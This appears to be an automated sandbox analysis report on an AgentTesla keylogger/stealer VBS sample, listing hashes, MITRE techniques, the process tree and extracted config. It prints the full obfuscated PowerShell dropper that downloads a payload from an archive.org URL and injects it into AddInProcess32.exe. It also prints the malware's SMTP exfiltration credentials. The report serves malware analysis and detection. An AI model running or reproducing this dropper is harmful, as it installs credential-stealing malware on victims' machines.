agenttesla | c7f2358c6d043c69480de7d6bcffb1fc6c6467e21e5b3be0c84b6274d03ba284

General

Target

c7f2358c6d043c69480de7d6bcffb1fc6c6467e21e5b3be0c84b6274d03ba284.vbs
Size

491KB
MD5

8619103fa6e661049111f4bbdd7fe0d2
SHA1

ca586ed66ab95510af2af9fb380575e885f3c6eb
SHA256

c7f2358c6d043c69480de7d6bcffb1fc6c6467e21e5b3be0c84b6274d03ba284
SHA512

d649b396c6e3dcb8fa0517a9a157a17f8842e9c0899510ced40c04d557b3d3ea0dbd70a1236fff519ebbe9ea9c64426cbc8ae048b98995e51c501eed48896d2b
SSDEEP

12288:NNjXVkBaQoLDBqKKcoXOZzIWPkETDuQnL3Qu5toTmP18cEuL9M7y8q8+01SB0WKg:y4cUteD9aS4Bh

Score

10^/10

agenttesla discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.dai-logistic.co.id
Port:
587
Username:
[email protected]
Password:
domestic1234
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	1988	powershell.exe
20	1988	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1104	powershell.exe
1988	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1988 set thread context of 2524	1988	powershell.exe	86

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4960	2524	WerFault.exe	86

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1104	powershell.exe
1104	powershell.exe
1988	powershell.exe
1988	powershell.exe
1988	powershell.exe
1988	powershell.exe
2524	AddInProcess32.exe
2524	AddInProcess32.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1104	powershell.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	2524	AddInProcess32.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4668 wrote to memory of 1104	4668	WScript.exe	82
PID 4668 wrote to memory of 1104	4668	WScript.exe	82
PID 1104 wrote to memory of 1988	1104	powershell.exe	84
PID 1104 wrote to memory of 1988	1104	powershell.exe	84
PID 1988 wrote to memory of 116	1988	powershell.exe	85
PID 1988 wrote to memory of 116	1988	powershell.exe	85
PID 1988 wrote to memory of 116	1988	powershell.exe	85
PID 1988 wrote to memory of 2524	1988	powershell.exe	86
PID 1988 wrote to memory of 2524	1988	powershell.exe	86
PID 1988 wrote to memory of 2524	1988	powershell.exe	86
PID 1988 wrote to memory of 2524	1988	powershell.exe	86
PID 1988 wrote to memory of 2524	1988	powershell.exe	86
PID 1988 wrote to memory of 2524	1988	powershell.exe	86
PID 1988 wrote to memory of 2524	1988	powershell.exe	86
PID 1988 wrote to memory of 2524	1988	powershell.exe	86

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c7f2358c6d043c69480de7d6bcffb1fc6c6467e21e5b3be0c84b6274d03ba284.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggKFtzVFJJTmddJFZlUmJvU2VwUmVGRVJFbkNlKVsxLDNdKyd4Jy1qb0lOJycpICggKCdadFMnKyd1cmwgPSAnKyduY2EnKydodHQnKydwczovJysnL2lhNicrJzAnKycwMTAwLnVzLmFyY2hpJysndmUuJysnbycrJ3JnJysnLzInKyc0L2l0ZW1zJysnLycrJ2RldGEnKydoLW5vJysndGUtdi9EJysnZXRhaE4nKydvdGVWLnR4dG4nKydjYTtadFNiYXMnKydlJysnNjRDb250ZScrJ250ICcrJz0gJysnKCcrJ05ldy1PYmplY3QgU3knKydzdGVtLk5ldC5XZWJDbGllbnQpLkRvd24nKydsJysnb2FkUycrJ3RyaScrJ25nKFp0U3VybCcrJyk7WicrJ3QnKydTJysnYmluJysnYXJ5Q29udGVudCA9JysnIFtTeScrJ3N0ZScrJ20uQ29udmUnKydyJysndCcrJ106JysnOkYnKydyb21CYXNlNjRTdHJpJysnbmcoWicrJ3RTYmEnKydzZTY0Q29udGVudCk7JysnWicrJ3RTJysnYXNzZW1ibHkgPScrJyBbUicrJ2VmbGVjdGlvbi5BJysnc3NlbWJseV0nKyc6OkwnKydvYWQoJysnWnRTYicrJ2knKyduJysnYXJ5Q29udGVudCcrJyk7WnRTdHlwZSA9IFp0U2FzJysnc2UnKydtYmx5LicrJ0dldFR5cGUoJysnbicrJ2NhUnVuUEUuJysnSG9tZW5jJysnYSk7WnRTbScrJ2V0aG9kID0gWicrJ3RTdHlwJysnZScrJy5HZXRNJysnZScrJ3RoJysnb2QobmNhVicrJ0FJbmNhJysnKTtadFNtZXQnKydobycrJ2QuSW52Jysnb2tlKFp0U24nKyd1bGwsJysnIFtvYmonKydlY3RbXV1AKCcrJ25jYXR4dC55bGQnKydyZm9jZS92ZWQuMnIuZDQzOCcrJ2Y3MTU1Y2M2ZScrJ2VhOTJkJysnMScrJzRlNicrJzAnKyc3NycrJzMnKyc3MjgnKycxYzQtYicrJ3UnKydwLy86Jysnc3AnKyd0dGhuYycrJ2EnKycgLCBuY2FkJysnZXNhdCcrJ2l2YWRvbmNhICwgJysnbmNhZCcrJ2VzYXRpJysndmFkb24nKydjYSAsJysnICcrJ25jYWRlc2EnKyd0aXZhZG8nKyduJysnY2EnKycsbmNhQScrJ2RkSW4nKydQcm9jZXNzMzJuJysnYycrJ2EsJysnbmNhJysnbmNhKSknKS5SZVBsQWNlKCduY2EnLFtTVFJJTmddW0NIYVJdMzkpLlJlUGxBY2UoJ1p0UycsJyQnKSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1104
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( ([sTRINg]$VeRboSepReFEREnCe)[1,3]+'x'-joIN'') ( ('ZtS'+'url = '+'nca'+'htt'+'ps:/'+'/ia6'+'0'+'0100.us.archi'+'ve.'+'o'+'rg'+'/2'+'4/items'+'/'+'deta'+'h-no'+'te-v/D'+'etahN'+'oteV.txtn'+'ca;ZtSbas'+'e'+'64Conte'+'nt '+'= '+'('+'New-Object Sy'+'stem.Net.WebClient).Down'+'l'+'oadS'+'tri'+'ng(ZtSurl'+');Z'+'t'+'S'+'bin'+'aryContent ='+' [Sy'+'ste'+'m.Conve'+'r'+'t'+']:'+':F'+'romBase64Stri'+'ng(Z'+'tSba'+'se64Content);'+'Z'+'tS'+'assembly ='+' [R'+'eflection.A'+'ssembly]'+'::L'+'oad('+'ZtSb'+'i'+'n'+'aryContent'+');ZtStype = ZtSas'+'se'+'mbly.'+'GetType('+'n'+'caRunPE.'+'Homenc'+'a);ZtSm'+'ethod = Z'+'tStyp'+'e'+'.GetM'+'e'+'th'+'od(ncaV'+'AInca'+');ZtSmet'+'ho'+'d.Inv'+'oke(ZtSn'+'ull,'+' [obj'+'ect[]]@('+'ncatxt.yld'+'rfoce/ved.2r.d438'+'f7155cc6e'+'ea92d'+'1'+'4e6'+'0'+'77'+'3'+'728'+'1c4-b'+'u'+'p//:'+'sp'+'tthnc'+'a'+' , ncad'+'esat'+'ivadonca , '+'ncad'+'esati'+'vadon'+'ca ,'+' '+'ncadesa'+'tivado'+'n'+'ca'+',ncaA'+'ddIn'+'Process32n'+'c'+'a,'+'nca'+'nca))').RePlAce('nca',[STRINg][CHaR]39).RePlAce('ZtS','$') )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1988
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      PID:116
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2524
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2524 -s 1380
        5⤵
        Program crash
        
        PID:4960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2524 -ip 2524
1⤵
PID:3124

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pvxqxh0y.2oq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1104-0-0x00007FFB05A93000-0x00007FFB05A95000-memory.dmp

Filesize
8KB

Download
memory/1104-10-0x0000020EEA1F0000-0x0000020EEA212000-memory.dmp

Filesize
136KB

Download
memory/1104-11-0x00007FFB05A90000-0x00007FFB06551000-memory.dmp

Filesize
10.8MB

Download
memory/1104-12-0x00007FFB05A90000-0x00007FFB06551000-memory.dmp

Filesize
10.8MB

Download
memory/1104-29-0x00007FFB05A90000-0x00007FFB06551000-memory.dmp

Filesize
10.8MB

Download
memory/1988-22-0x000001DCA06D0000-0x000001DCA08DC000-memory.dmp

Filesize
2.0MB

Download
memory/2524-23-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/2524-30-0x0000000005000000-0x00000000055A4000-memory.dmp

Filesize
5.6MB

Download
memory/2524-31-0x0000000004B50000-0x0000000004BB6000-memory.dmp

Filesize
408KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads